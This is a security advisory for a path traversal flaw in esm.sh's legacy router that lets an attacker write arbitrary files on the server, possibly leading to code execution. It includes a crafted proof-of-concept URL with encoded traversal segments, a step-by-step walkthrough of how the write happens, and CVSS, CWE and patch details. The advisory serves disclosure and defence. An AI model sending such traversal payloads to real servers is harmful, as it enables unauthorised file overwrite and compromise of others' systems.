esm.sh: Legacy Route Path Traversal Can Lead to RCE

Description

Impact

  • Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).

For a URL such as:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/&lt;attacker&gt;/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/[email protected]/esnext/../../../gh/&lt;attacker&gt;/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction
    A crafted request is sent to the server:
    http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/&lt;attacker&gt;/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

  2. Proxy to Legacy Server
    The request is forwarded to:
    http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/&lt;attacker&gt;/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
    which resolves to:
    http://legacy.esm.sh/gh/&lt;attacker&gt;/exp@1171e85d5d/foo.md

  3. File Retrieval
    The server fetches foo.md from the GitHub repository https://github.com/&lt;attacker&gt;/exp.

  4. Path Normalisation & Storage
    The storage path derived from the request is:
    legacy/v111/[email protected]/esnext/../../../gh/&lt;attacker&gt;/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
    Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  5. Result
    By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-05-12 22:22:39 UTC
Updated
2026-06-09 01:59:39 UTC
GitHub reviewed
2026-05-12 22:22:39 UTC
NVD published
2026-05-28

EPSS Score

Score Percentile
0.08% 24.13%

CVSS Scores

Base score Version Severity Vector
8.7 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:N)
No confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:N)
No availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:N)
No confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:N)
No integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • splitline (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/esm-dev/esm.sh < 0.0.0-20260508100112-1960055e1d53 0.0.0-20260508100112-1960055e1d53

References

cvelogic Threat Intelligence